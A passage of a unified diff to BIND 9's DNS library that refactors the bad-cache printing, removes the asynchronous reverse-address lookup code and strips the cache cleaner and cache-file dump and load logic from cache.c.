+		atomic_load_relaxed(&bad->expire) - now);
+}
+
+void
+dns_badcache_print(dns_badcache_t *bc, const char *cachename, FILE *fp) {
+	dns_bcentry_t *bad;
+	isc_stdtime_t now = isc_stdtime_now();
 
 	REQUIRE(VALID_BADCACHE(bc));
-	REQUIRE(cachename != NULL);
 	REQUIRE(fp != NULL);
 
-	/*
-	 * We write lock the tree to avoid relocking every node
-	 * individually.
-	 */
-	RWLOCK(&bc->lock, isc_rwlocktype_write);
 	fprintf(fp, ";\n; %s\n;\n", cachename);
 
-	TIME_NOW(&now);
-	for (i = 0; atomic_load_relaxed(&bc->count) > 0 && i < bc->size; i++) {
-		prev = NULL;
-		for (bad = bc->table[i]; bad != NULL; bad = next) {
-			next = bad->next;
-			if (isc_time_compare(&bad->expire, &now) < 0) {
-				if (prev != NULL) {
-					prev->next = bad->next;
-				} else {
-					bc->table[i] = bad->next;
-				}
-
-				isc_mem_put(bc->mctx, bad, sizeof(*bad));
-				atomic_fetch_sub_relaxed(&bc->count, 1);
-				continue;
-			}
-			prev = bad;
-			dns_name_format(bad->name, namebuf, sizeof(namebuf));
-			dns_rdatatype_format(bad->type, typebuf,
-					     sizeof(typebuf));
-			t = isc_time_microdiff(&bad->expire, &now);
-			t /= 1000;
-			fprintf(fp,
-				"; %s/%s [ttl "
-				"%" PRIu64 "]\n",
-				namebuf, typebuf, t);
+	rcu_read_lock();
+	struct cds_lfht *ht = rcu_dereference(bc->ht);
+	INSIST(ht != NULL);
+
+	struct cds_lfht_iter iter;
+	cds_lfht_for_each_entry(ht, &iter, bad, ht_node) {
+		if (bcentry_alive(ht, bad, now)) {
+			bcentry_print(bad, now, fp);
 		}
 	}
-	RWUNLOCK(&bc->lock, isc_rwlocktype_write);
+
+	rcu_read_unlock();
 }
diff --git a/lib/dns/byaddr.c b/lib/dns/byaddr.c
index 6cd24371a4..df53ebdab4 100644
--- a/lib/dns/byaddr.c
+++ b/lib/dns/byaddr.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -15,20 +17,16 @@
 
 #include <isc/mem.h>
 #include <isc/netaddr.h>
-#include <isc/print.h>
-#include <isc/string.h> /* Required for HP/UX (and others?) */
-#include <isc/task.h>
+#include <isc/result.h>
+#include <isc/string.h>
 #include <isc/util.h>
 
 #include <dns/byaddr.h>
 #include <dns/db.h>
-#include <dns/events.h>
-#include <dns/lookup.h>
 #include <dns/rdata.h>
 #include <dns/rdataset.h>
 #include <dns/rdatastruct.h>
 #include <dns/resolver.h>
-#include <dns/result.h>
 #include <dns/view.h>
 
 /*
@@ -39,8 +37,7 @@ static char hex_digits[] = { '0', '1', '2', '3', '4', '5', '6', '7',
 			     '8', '9', 'a', 'b', 'c', 'd', 'e', 'f' };
 
 isc_result_t
-dns_byaddr_createptrname(const isc_netaddr_t *address, unsigned int options,
-			 dns_name_t *name) {
+dns_byaddr_createptrname(const isc_netaddr_t *address, dns_name_t *name) {
 	char textname[128];
 	const unsigned char *bytes;
 	int i;
@@ -49,7 +46,6 @@ dns_byaddr_createptrname(const isc_netaddr_t *address, unsigned int options,
 	unsigned int len;
 
 	REQUIRE(address != NULL);
-	UNUSED(options);
 
 	/*
 	 * We create the text representation and then convert to a
@@ -86,194 +82,3 @@ dns_byaddr_createptrname(const isc_netaddr_t *address, unsigned int options,
 	isc_buffer_add(&buffer, len);
 	return (dns_name_fromtext(name, &buffer, dns_rootname, 0, NULL));
 }
-
-struct dns_byaddr {
-	/* Unlocked. */
-	unsigned int magic;
-	isc_mem_t *mctx;
-	isc_mutex_t lock;
-	dns_fixedname_t name;
-	/* Locked by lock. */
-	unsigned int options;
-	dns_lookup_t *lookup;
-	isc_task_t *task;
-	dns_byaddrevent_t *event;
-	bool canceled;
-};
-
-#define BYADDR_MAGIC	ISC_MAGIC('B', 'y', 'A', 'd')
-#define VALID_BYADDR(b) ISC_MAGIC_VALID(b, BYADDR_MAGIC)
-
-#define MAX_RESTARTS 16
-
-static inline isc_result_t
-copy_ptr_targets(dns_byaddr_t *byaddr, dns_rdataset_t *rdataset) {
-	isc_result_t result;
-	dns_name_t *name;
-	dns_rdata_t rdata = DNS_RDATA_INIT;
-
-	/*
-	 * The caller must be holding the byaddr's lock.
-	 */
-
-	result = dns_rdataset_first(rdataset);
-	while (result == ISC_R_SUCCESS) {
-		dns_rdata_ptr_t ptr;
-		dns_rdataset_current(rdataset, &rdata);
-		result = dns_rdata_tostruct(&rdata, &ptr, NULL);
-		if (result != ISC_R_SUCCESS) {
-			return (result);
-		}
-		name = isc_mem_get(byaddr->mctx, sizeof(*name));
-		dns_name_init(name, NULL);
-		dns_name_dup(&ptr.ptr, byaddr->mctx, name);
-		dns_rdata_freestruct(&ptr);
-		ISC_LIST_APPEND(byaddr->event->names, name, link);
-		dns_rdata_reset(&rdata);
-		result = dns_rdataset_next(rdataset);
-	}
-	if (result == ISC_R_NOMORE) {
-		result = ISC_R_SUCCESS;
-	}
-
-	return (result);
-}
-
-static void
-lookup_done(isc_task_t *task, isc_event_t *event) {
-	dns_byaddr_t *byaddr = event->ev_arg;
-	dns_lookupevent_t *levent;
-	isc_result_t result;
-
-	REQUIRE(event->ev_type == DNS_EVENT_LOOKUPDONE);
-	REQUIRE(VALID_BYADDR(byaddr));
-	REQUIRE(byaddr->task == task);
-
-	UNUSED(task);
-
-	levent = (dns_lookupevent_t *)event;
-
-	if (levent->result == ISC_R_SUCCESS) {
-		result = copy_ptr_targets(byaddr, levent->rdataset);
-		byaddr->event->result = result;
-	} else {
-		byaddr->event->result = levent->result;
-	}
-	isc_event_free(&event);
-	isc_task_sendanddetach(&byaddr->task, (isc_event_t **)&byaddr->event);
-}
-
-static void
-bevent_destroy(isc_event_t *event) {
-	dns_byaddrevent_t *bevent;
-	dns_name_t *name, *next_name;
-	isc_mem_t *mctx;
-
-	REQUIRE(event->ev_type == DNS_EVENT_BYADDRDONE);
-	mctx = event->ev_destroy_arg;
-	bevent = (dns_byaddrevent_t *)event;
-
-	for (name = ISC_LIST_HEAD(bevent->names); name != NULL;
-	     name = next_name) {
-		next_name = ISC_LIST_NEXT(name, link);
-		ISC_LIST_UNLINK(bevent->names, name, link);
-		dns_name_free(name, mctx);
-		isc_mem_put(mctx, name, sizeof(*name));
-	}
-	isc_mem_put(mctx, event, event->ev_size);
-}
-
-isc_result_t
-dns_byaddr_create(isc_mem_t *mctx, const isc_netaddr_t *address,
-		  dns_view_t *view, unsigned int options, isc_task_t *task,
-		  isc_taskaction_t action, void *arg, dns_byaddr_t **byaddrp) {
-	isc_result_t result;
-	dns_byaddr_t *byaddr;
-	isc_event_t *ievent;
-
-	byaddr = isc_mem_get(mctx, sizeof(*byaddr));
-	byaddr->mctx = NULL;
-	isc_mem_attach(mctx, &byaddr->mctx);
-	byaddr->options = options;
-
-	byaddr->event = isc_mem_get(mctx, sizeof(*byaddr->event));
-	ISC_EVENT_INIT(byaddr->event, sizeof(*byaddr->event), 0, NULL,
-		       DNS_EVENT_BYADDRDONE, action, arg, byaddr,
-		       bevent_destroy, mctx);
-	byaddr->event->result = ISC_R_FAILURE;
-	ISC_LIST_INIT(byaddr->event->names);
-
-	byaddr->task = NULL;
-	isc_task_attach(task, &byaddr->task);
-
-	isc_mutex_init(&byaddr->lock);
-
-	dns_fixedname_init(&byaddr->name);
-
-	result = dns_byaddr_createptrname(address, options,
-					  dns_fixedname_name(&byaddr->name));
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup_lock;
-	}
-
-	byaddr->lookup = NULL;
-	result = dns_lookup_create(mctx, dns_fixedname_name(&byaddr->name),
-				   dns_rdatatype_ptr, view, 0, task,
-				   lookup_done, byaddr, &byaddr->lookup);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup_lock;
-	}
-
-	byaddr->canceled = false;
-	byaddr->magic = BYADDR_MAGIC;
-
-	*byaddrp = byaddr;
-
-	return (ISC_R_SUCCESS);
-
-cleanup_lock:
-	isc_mutex_destroy(&byaddr->lock);
-
-	ievent = (isc_event_t *)byaddr->event;
-	isc_event_free(&ievent);
-	byaddr->event = NULL;
-
-	isc_task_detach(&byaddr->task);
-
-	isc_mem_putanddetach(&mctx, byaddr, sizeof(*byaddr));
-
-	return (result);
-}
-
-void
-dns_byaddr_cancel(dns_byaddr_t *byaddr) {
-	REQUIRE(VALID_BYADDR(byaddr));
-
-	LOCK(&byaddr->lock);
-
-	if (!byaddr->canceled) {
-		byaddr->canceled = true;
-		if (byaddr->lookup != NULL) {
-			dns_lookup_cancel(byaddr->lookup);
-		}
-	}
-
-	UNLOCK(&byaddr->lock);
-}
-
-void
-dns_byaddr_destroy(dns_byaddr_t **byaddrp) {
-	dns_byaddr_t *byaddr;
-
-	REQUIRE(byaddrp != NULL);
-	byaddr = *byaddrp;
-	*byaddrp = NULL;
-	REQUIRE(VALID_BYADDR(byaddr));
-	REQUIRE(byaddr->event == NULL);
-	REQUIRE(byaddr->task == NULL);
-	dns_lookup_destroy(&byaddr->lookup);
-
-	isc_mutex_destroy(&byaddr->lock);
-	byaddr->magic = 0;
-	isc_mem_putanddetach(&byaddr->mctx, byaddr, sizeof(*byaddr));
-}
diff --git a/lib/dns/cache.c b/lib/dns/cache.c
index 633fc5d122..f7c3bbef99 100644
--- a/lib/dns/cache.c
+++ b/lib/dns/cache.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,12 +16,12 @@
 #include <inttypes.h>
 #include <stdbool.h>
 
+#include <isc/loop.h>
 #include <isc/mem.h>
-#include <isc/print.h>
 #include <isc/refcount.h>
+#include <isc/result.h>
 #include <isc/stats.h>
 #include <isc/string.h>
-#include <isc/task.h>
 #include <isc/time.h>
 #include <isc/timer.h>
 #include <isc/util.h>
@@ -27,14 +29,11 @@
 #include <dns/cache.h>
 #include <dns/db.h>
 #include <dns/dbiterator.h>
-#include <dns/events.h>
-#include <dns/lib.h>
 #include <dns/log.h>
 #include <dns/masterdump.h>
 #include <dns/rdata.h>
 #include <dns/rdataset.h>
 #include <dns/rdatasetiter.h>
-#include <dns/result.h>
 #include <dns/stats.h>
 
 #ifdef HAVE_JSON_C
@@ -46,78 +45,19 @@
 #define ISC_XMLCHAR (const xmlChar *)
 #endif /* HAVE_LIBXML2 */
 
-#include "rbtdb.h"
-
 #define CACHE_MAGIC	   ISC_MAGIC('$', '$', '$', '$')
 #define VALID_CACHE(cache) ISC_MAGIC_VALID(cache, CACHE_MAGIC)
 
-/*!
- * Control incremental cleaning.
+/*
  * DNS_CACHE_MINSIZE is how many bytes is the floor for
- * dns_cache_setcachesize(). See also DNS_CACHE_CLEANERINCREMENT
+ * dns_cache_setcachesize().
  */
 #define DNS_CACHE_MINSIZE 2097152U /*%< Bytes.  2097152 = 2 MB */
-/*!
- * Control incremental cleaning.
- * CLEANERINCREMENT is how many nodes are examined in one pass.
- * See also DNS_CACHE_MINSIZE
- */
-#define DNS_CACHE_CLEANERINCREMENT 1000U /*%< Number of nodes. */
 
 /***
  ***	Types
  ***/
 
-/*
- * A cache_cleaner_t encapsulates the state of the periodic
- * cache cleaning.
- */
-
-typedef struct cache_cleaner cache_cleaner_t;
-
-typedef enum {
-	cleaner_s_idle, /*%< Waiting for cleaning interval to expire. */
-	cleaner_s_busy, /*%< Currently cleaning. */
-	cleaner_s_done	/*%< Freed enough memory after being overmem. */
-} cleaner_state_t;
-
-/*
- * Convenience macros for comprehensive assertion checking.
- */
-#define CLEANER_IDLE(c) \
-	((c)->state == cleaner_s_idle && (c)->resched_event != NULL)
-#define CLEANER_BUSY(c)                                           \
-	((c)->state == cleaner_s_busy && (c)->iterator != NULL && \
-	 (c)->resched_event == NULL)
-
-/*%
- * Accesses to a cache cleaner object are synchronized through
- * task/event serialization, or locked from the cache object.
- */
-struct cache_cleaner {
-	isc_mutex_t lock;
-	/*%<
-	 * Locks overmem_event, overmem.  Note: never allocate memory
-	 * while holding this lock - that could lead to deadlock since
-	 * the lock is take by water() which is called from the memory
-	 * allocator.
-	 */
-
-	dns_cache_t *cache;
-	isc_task_t *task;
-	isc_event_t *resched_event; /*% Sent by cleaner task to
-				     * itself to reschedule */
-	isc_event_t *overmem_event;
-
-	dns_dbiterator_t *iterator;
-	unsigned int increment; /*% Number of names to
-				 * clean in one increment */
-	cleaner_state_t state;	/*% Idle/Busy. */
-	bool overmem;		/*% The cache is in an overmem state.
-				 * */
-	bool replaceiterator;
-};
-
 /*%
  * The actual cache object.
  */
@@ -126,28 +66,18 @@ struct dns_cache {
 	/* Unlocked. */
 	unsigned int magic;
 	isc_mutex_t lock;
-	isc_mutex_t filelock;
 	isc_mem_t *mctx;  /* Main cache memory */
 	isc_mem_t *hmctx; /* Heap memory */
 	char *name;
 	isc_refcount_t references;
-	isc_refcount_t live_tasks;
 
 	/* Locked by 'lock'. */
 	dns_rdataclass_t rdclass;
 	dns_db_t *db;
-	cache_cleaner_t cleaner;
-	char *db_type;
-	int db_argc;
-	char **db_argv;
 	size_t size;
 	dns_ttl_t serve_stale_ttl;
 	dns_ttl_t serve_stale_refresh;
 	isc_stats_t *stats;
-
-	/* Locked by 'filelock'. */
-	char *filename;
-	/* Access to the on-disk cache file is also locked by 'filelock'. */
 };
 
 /***
@@ -155,139 +85,81 @@ struct dns_cache {
  ***/
 
 static isc_result_t
-cache_cleaner_init(dns_cache_t *cache, isc_taskmgr_t *taskmgr,
-		   isc_timermgr_t *timermgr, cache_cleaner_t *cleaner);
-
-static void
-incremental_cleaning_action(isc_task_t *task, isc_event_t *event);
-
-static void
-cleaner_shutdown_action(isc_task_t *task, isc_event_t *event);
-
-static void
-overmem_cleaning_action(isc_task_t *task, isc_event_t *event);
-
-static inline isc_result_t
 cache_create_db(dns_cache_t *cache, dns_db_t **db) {
 	isc_result_t result;
-	result = dns_db_create(cache->mctx, cache->db_type, dns_rootname,
-			       dns_dbtype_cache, cache->rdclass, cache->db_argc,
-			       cache->db_argv, db);
+	char *argv[1] = { 0 };
+
+	/*
+	 * For databases of type "rbt" (which is the only cache
+	 * implementation currently in existence) we pass hmctx to
+	 * dns_db_create() via argv[0].
+	 */
+	argv[0] = (char *)cache->hmctx;
+	result = dns_db_create(cache->mctx, "rbt", dns_rootname,
+			       dns_dbtype_cache, cache->rdclass, 1, argv, db);
 	if (result == ISC_R_SUCCESS) {
 		dns_db_setservestalettl(*db, cache->serve_stale_ttl);
+		dns_db_setservestalerefresh(*db, cache->serve_stale_refresh);
 	}
 	return (result);
 }
 
 isc_result_t
-dns_cache_create(isc_mem_t *cmctx, isc_mem_t *hmctx, isc_taskmgr_t *taskmgr,
-		 isc_timermgr_t *timermgr, dns_rdataclass_t rdclass,
-		 const char *cachename, const char *db_type,
-		 unsigned int db_argc, char **db_argv, dns_cache_t **cachep) {
+dns_cache_create(isc_loopmgr_t *loopmgr, dns_rdataclass_t rdclass,
+		 const char *cachename, dns_cache_t **cachep) {
 	isc_result_t result;
-	dns_cache_t *cache;
-	int i, extra = 0;
-	isc_task_t *dbtask;
+	dns_cache_t *cache = NULL;
+	isc_mem_t *mctx = NULL, *hmctx = NULL;
 
-	REQUIRE(cachep != NULL);
-	REQUIRE(*cachep == NULL);
-	REQUIRE(cmctx != NULL);
-	REQUIRE(hmctx != NULL);
+	REQUIRE(loopmgr != NULL);
 	REQUIRE(cachename != NULL);
+	REQUIRE(cachep != NULL && *cachep == NULL);
 
-	cache = isc_mem_get(cmctx, sizeof(*cache));
-
-	cache->mctx = cache->hmctx = NULL;
-	isc_mem_attach(cmctx, &cache->mctx);
-	isc_mem_attach(hmctx, &cache->hmctx);
-
-	cache->name = NULL;
-	if (cachename != NULL) {
-		cache->name = isc_mem_strdup(cmctx, cachename);
-	}
-
-	isc_mutex_init(&cache->lock);
-	isc_mutex_init(&cache->filelock);
-
-	isc_refcount_init(&cache->references, 1);
-	isc_refcount_init(&cache->live_tasks, 1);
-	cache->rdclass = rdclass;
-	cache->serve_stale_ttl = 0;
-
-	cache->stats = NULL;
-	result = isc_stats_create(cmctx, &cache->stats,
-				  dns_cachestatscounter_max);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup_filelock;
-	}
-
-	cache->db_type = isc_mem_strdup(cmctx, db_type);
+	/*
+	 * This will be the main cache memory context, which is subject
+	 * to cleaning when the configured memory limits are exceeded.
+	 */
+	isc_mem_create(&mctx);
+	isc_mem_setname(mctx, "cache");
 
 	/*
-	 * For databases of type "rbt" we pass hmctx to dns_db_create()
-	 * via cache->db_argv, followed by the rest of the arguments in
-	 * db_argv (of which there really shouldn't be any).
+	 * This will be passed to RBTDB to use for heaps. This is separate
+	 * from the main cache memory because it can grow quite large under
+	 * heavy load and could otherwise cause the cache to be cleaned too
+	 * aggressively.
 	 */
-	if (strcmp(cache->db_type, "rbt") == 0) {
-		extra = 1;
-	}
+	isc_mem_create(&hmctx);
+	isc_mem_setname(hmctx, "cache_heap");
 
-	cache->db_argc = db_argc + extra;
-	cache->db_argv = NULL;
+	cache = isc_mem_get(mctx, sizeof(*cache));
+	*cache = (dns_cache_t){
+		.mctx = mctx,
+		.hmctx = hmctx,
+		.rdclass = rdclass,
+		.name = isc_mem_strdup(mctx, cachename),
+	};
 
-	if (cache->db_argc != 0) {
-		cache->db_argv = isc_mem_get(cmctx,
-					     cache->db_argc * sizeof(char *));
+	isc_mutex_init(&cache->lock);
 
-		for (i = 0; i < cache->db_argc; i++) {
-			cache->db_argv[i] = NULL;
-		}
+	isc_refcount_init(&cache->references, 1);
 
-		cache->db_argv[0] = (char *)hmctx;
-		for (i = extra; i < cache->db_argc; i++) {
-			cache->db_argv[i] = isc_mem_strdup(cmctx,
-							   db_argv[i - extra]);
-		}
-	}
+	isc_stats_create(mctx, &cache->stats, dns_cachestatscounter_max);
 
 	/*
 	 * Create the database
 	 */
-	cache->db = NULL;
 	result = cache_create_db(cache, &cache->db);
 	if (result != ISC_R_SUCCESS) {
-		goto cleanup_dbargv;
-	}
-	if (taskmgr != NULL) {
-		dbtask = NULL;
-		result = isc_task_create(taskmgr, 1, &dbtask);
-		if (result != ISC_R_SUCCESS) {
-			goto cleanup_db;
-		}
-
-		isc_task_setname(dbtask, "cache_dbtask", NULL);
-		dns_db_settask(cache->db, dbtask);
-		isc_task_detach(&dbtask);
+		goto cleanup_stats;
 	}
 
-	cache->filename = NULL;
-
+	dns_db_setloop(cache->db, isc_loop_main(loopmgr));
 	cache->magic = CACHE_MAGIC;
 
 	/*
-	 * RBT-type cache DB has its own mechanism of cache cleaning and doesn't
-	 * need the control of the generic cleaner.
+	 * RBT-type cache DB has its own mechanism of cache cleaning and
+	 * doesn't need the control of the generic cleaner.
 	 */
-	if (strcmp(db_type, "rbt") == 0) {
-		result = cache_cleaner_init(cache, NULL, NULL, &cache->cleaner);
-	} else {
-		result = cache_cleaner_init(cache, taskmgr, timermgr,
-					    &cache->cleaner);
-	}
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup_db;
-	}
-
 	result = dns_db_setcachestats(cache->db, cache->stats);
 	if (result != ISC_R_SUCCESS) {
 		goto cleanup_db;
@@ -298,24 +170,10 @@ dns_cache_create(isc_mem_t *cmctx, isc_mem_t *hmctx, isc_taskmgr_t *taskmgr,
 
 cleanup_db:
 	dns_db_detach(&cache->db);
-cleanup_dbargv:
-	for (i = extra; i < cache->db_argc; i++) {
-		if (cache->db_argv[i] != NULL) {
-			isc_mem_free(cmctx, cache->db_argv[i]);
-		}
-	}
-	if (cache->db_argv != NULL) {
-		isc_mem_put(cmctx, cache->db_argv,
-			    cache->db_argc * sizeof(char *));
-	}
-	isc_mem_free(cmctx, cache->db_type);
-cleanup_filelock:
-	isc_mutex_destroy(&cache->filelock);
+cleanup_stats:
 	isc_stats_detach(&cache->stats);
 	isc_mutex_destroy(&cache->lock);
-	if (cache->name != NULL) {
-		isc_mem_free(cmctx, cache->name);
-	}
+	isc_mem_free(mctx, cache->name);
 	isc_mem_detach(&cache->hmctx);
 	isc_mem_putanddetach(&cache->mctx, cache, sizeof(*cache));
 	return (result);
@@ -326,69 +184,13 @@ cache_free(dns_cache_t *cache) {
 	REQUIRE(VALID_CACHE(cache));
 
 	isc_refcount_destroy(&cache->references);
-	isc_refcount_destroy(&cache->live_tasks);
-
-	isc_mem_setwater(cache->mctx, NULL, NULL, 0, 0);
-
-	if (cache->cleaner.task != NULL) {
-		isc_task_detach(&cache->cleaner.task);
-	}
-
-	if (cache->cleaner.overmem_event != NULL) {
-		isc_event_free(&cache->cleaner.overmem_event);
-	}
-
-	if (cache->cleaner.resched_event != NULL) {
-		isc_event_free(&cache->cleaner.resched_event);
-	}
-
-	if (cache->cleaner.iterator != NULL) {
-		dns_dbiterator_destroy(&cache->cleaner.iterator);
-	}
 
-	isc_mutex_destroy(&cache->cleaner.lock);
-
-	if (cache->filename) {
-		isc_mem_free(cache->mctx, cache->filename);
-		cache->filename = NULL;
-	}
-
-	if (cache->db != NULL) {
-		dns_db_detach(&cache->db);
-	}
-
-	if (cache->db_argv != NULL) {
-		/*
-		 * We don't free db_argv[0] in "rbt" cache databases
-		 * as it's a pointer to hmctx
-		 */
-		int extra = 0;
-		if (strcmp(cache->db_type, "rbt") == 0) {
-			extra = 1;
-		}
-		for (int i = extra; i < cache->db_argc; i++) {
-			if (cache->db_argv[i] != NULL) {
-				isc_mem_free(cache->mctx, cache->db_argv[i]);
-			}
-		}
-		isc_mem_put(cache->mctx, cache->db_argv,
-			    cache->db_argc * sizeof(char *));
-	}
-
-	if (cache->db_type != NULL) {
-		isc_mem_free(cache->mctx, cache->db_type);
-	}
-
-	if (cache->name != NULL) {
-		isc_mem_free(cache->mctx, cache->name);
-	}
-
-	if (cache->stats != NULL) {
-		isc_stats_detach(&cache->stats);
-	}
+	isc_mem_clearwater(cache->mctx);
+	dns_db_detach(&cache->db);
+	isc_mem_free(cache->mctx, cache->name);
+	isc_stats_detach(&cache->stats);
 
 	isc_mutex_destroy(&cache->lock);
-	isc_mutex_destroy(&cache->filelock);
 
 	cache->magic = 0;
 	isc_mem_detach(&cache->hmctx);
@@ -415,27 +217,7 @@ dns_cache_detach(dns_cache_t **cachep) {
 	REQUIRE(VALID_CACHE(cache));
 
 	if (isc_refcount_decrement(&cache->references) == 1) {
-		cache->cleaner.overmem = false;
-		/*
-		 * When the cache is shut down, dump it to a file if one is
-		 * specified.
-		 */
-		isc_result_t result = dns_cache_dump(cache);
-		if (result != ISC_R_SUCCESS) {
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_CACHE, ISC_LOG_WARNING,
-				      "error dumping cache: %s ",
-				      isc_result_totext(result));
-		}
-
-		/*
-		 * If the cleaner task exists, let it free the cache.
-		 */
-		if (isc_refcount_decrement(&cache->live_tasks) > 1) {
-			isc_task_shutdown(cache->cleaner.task);
-		} else {
-			cache_free(cache);
-		}
+		cache_free(cache);
 	}
 }
 
@@ -450,61 +232,6 @@ dns_cache_attachdb(dns_cache_t *cache, dns_db_t **dbp) {
 	UNLOCK(&cache->lock);
 }
 
-isc_result_t
-dns_cache_setfilename(dns_cache_t *cache, const char *filename) {
-	char *newname;
-
-	REQUIRE(VALID_CACHE(cache));
-	REQUIRE(filename != NULL);
-
-	newname = isc_mem_strdup(cache->mctx, filename);
-
-	LOCK(&cache->filelock);
-	if (cache->filename) {
-		isc_mem_free(cache->mctx, cache->filename);
-	}
-	cache->filename = newname;
-	UNLOCK(&cache->filelock);
-
-	return (ISC_R_SUCCESS);
-}
-
-isc_result_t
-dns_cache_load(dns_cache_t *cache) {
-	isc_result_t result;
-
-	REQUIRE(VALID_CACHE(cache));
-
-	if (cache->filename == NULL) {
-		return (ISC_R_SUCCESS);
-	}
-
-	LOCK(&cache->filelock);
-	result = dns_db_load(cache->db, cache->filename, dns_masterformat_text,
-			     0);
-	UNLOCK(&cache->filelock);
-
-	return (result);
-}
-
-isc_result_t
-dns_cache_dump(dns_cache_t *cache) {
-	isc_result_t result;
-
-	REQUIRE(VALID_CACHE(cache));
-
-	if (cache->filename == NULL) {
-		return (ISC_R_SUCCESS);
-	}
-
-	LOCK(&cache->filelock);
-	result = dns_master_dump(cache->mctx, cache->db, NULL,
-				 &dns_master_style_cache, cache->filename,
-				 dns_masterformat_text, NULL);
-	UNLOCK(&cache->filelock);
-	return (result);
-}
-
 const char *
 dns_cache_getname(dns_cache_t *cache) {
 	REQUIRE(VALID_CACHE(cache));
@@ -512,416 +239,8 @@ dns_cache_getname(dns_cache_t *cache) {
 	return (cache->name);
 }
 
-/*
- * Initialize the cache cleaner object at *cleaner.
- * Space for the object must be allocated by the caller.
- */
-
-static isc_result_t
-cache_cleaner_init(dns_cache_t *cache, isc_taskmgr_t *taskmgr,
-		   isc_timermgr_t *timermgr, cache_cleaner_t *cleaner) {
-	isc_result_t result;
-
-	isc_mutex_init(&cleaner->lock);
-
-	cleaner->increment = DNS_CACHE_CLEANERINCREMENT;
-	cleaner->state = cleaner_s_idle;
-	cleaner->cache = cache;
-	cleaner->iterator = NULL;
-	cleaner->overmem = false;
-	cleaner->replaceiterator = false;
-
-	cleaner->task = NULL;
-	cleaner->resched_event = NULL;
-	cleaner->overmem_event = NULL;
-
-	result = dns_db_createiterator(cleaner->cache->db, false,
-				       &cleaner->iterator);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
-
-	if (taskmgr != NULL && timermgr != NULL) {
-		result = isc_task_create(taskmgr, 1, &cleaner->task);
-		if (result != ISC_R_SUCCESS) {
-			UNEXPECTED_ERROR(__FILE__, __LINE__,
-					 "isc_task_create() failed: %s",
-					 dns_result_totext(result));
-			result = ISC_R_UNEXPECTED;
-			goto cleanup;
-		}
-		isc_refcount_increment(&cleaner->cache->live_tasks);
-		isc_task_setname(cleaner->task, "cachecleaner", cleaner);
-
-		result = isc_task_onshutdown(cleaner->task,
-					     cleaner_shutdown_action, cache);
-		if (result != ISC_R_SUCCESS) {
-			isc_refcount_decrement0(&cleaner->cache->live_tasks);
-			UNEXPECTED_ERROR(__FILE__, __LINE__,
-					 "cache cleaner: "
-					 "isc_task_onshutdown() failed: %s",
-					 dns_result_totext(result));
-			goto cleanup;
-		}
-
-		cleaner->resched_event = isc_event_allocate(
-			cache->mctx, cleaner, DNS_EVENT_CACHECLEAN,
-			incremental_cleaning_action, cleaner,
-			sizeof(isc_event_t));
-
-		cleaner->overmem_event = isc_event_allocate(
-			cache->mctx, cleaner, DNS_EVENT_CACHEOVERMEM,
-			overmem_cleaning_action, cleaner, sizeof(isc_event_t));
-	}
-
-	return (ISC_R_SUCCESS);
-
-cleanup:
-	if (cleaner->overmem_event != NULL) {
-		isc_event_free(&cleaner->overmem_event);
-	}
-	if (cleaner->resched_event != NULL) {
-		isc_event_free(&cleaner->resched_event);
-	}
-	if (cleaner->task != NULL) {
-		isc_task_detach(&cleaner->task);
-	}
-	if (cleaner->iterator != NULL) {
-		dns_dbiterator_destroy(&cleaner->iterator);
-	}
-	isc_mutex_destroy(&cleaner->lock);
-
-	return (result);
-}
-
-static void
-begin_cleaning(cache_cleaner_t *cleaner) {
-	isc_result_t result = ISC_R_SUCCESS;
-
-	REQUIRE(CLEANER_IDLE(cleaner));
-
-	/*
-	 * Create an iterator, if it does not already exist, and
-	 * position it at the beginning of the cache.
-	 */
-	if (cleaner->iterator == NULL) {
-		result = dns_db_createiterator(cleaner->cache->db, false,
-					       &cleaner->iterator);
-	}
-	if (result != ISC_R_SUCCESS) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_CACHE, ISC_LOG_WARNING,
-			      "cache cleaner could not create "
-			      "iterator: %s",
-			      isc_result_totext(result));
-	} else {
-		dns_dbiterator_setcleanmode(cleaner->iterator, true);
-		result = dns_dbiterator_first(cleaner->iterator);
-	}
-	if (result != ISC_R_SUCCESS) {
-		/*
-		 * If the result is ISC_R_NOMORE, the database is empty,
-		 * so there is nothing to be cleaned.
-		 */
-		if (result != ISC_R_NOMORE && cleaner->iterator != NULL) {
-			UNEXPECTED_ERROR(__FILE__, __LINE__,
-					 "cache cleaner: "
-					 "dns_dbiterator_first() failed: %s",
-					 dns_result_totext(result));
-			dns_dbiterator_destroy(&cleaner->iterator);
-		} else if (cleaner->iterator != NULL) {
-			result = dns_dbiterator_pause(cleaner->iterator);
-			RUNTIME_CHECK(result == ISC_R_SUCCESS);
-		}
-	} else {
-		/*
-		 * Pause the iterator to free its lock.
-		 */
-		result = dns_dbiterator_pause(cleaner->iterator);
-		RUNTIME_CHECK(result == ISC_R_SUCCESS);
-
-		isc_log_write(
-			dns_lctx, DNS_LOGCATEGORY_DATABASE, DNS_LOGMODULE_CACHE,
-			ISC_LOG_DEBUG(1), "begin cache cleaning, mem inuse %lu",
-			(unsigned long)isc_mem_inuse(cleaner->cache->mctx));
-		cleaner->state = cleaner_s_busy;
-		isc_task_send(cleaner->task, &cleaner->resched_event);
-	}
-
-	return;
-}
-
-static void
-end_cleaning(cache_cleaner_t *cleaner, isc_event_t *event) {
-	isc_result_t result;
-
-	REQUIRE(CLEANER_BUSY(cleaner));
-	REQUIRE(event != NULL);
-
-	result = dns_dbiterator_pause(cleaner->iterator);
-	if (result != ISC_R_SUCCESS) {
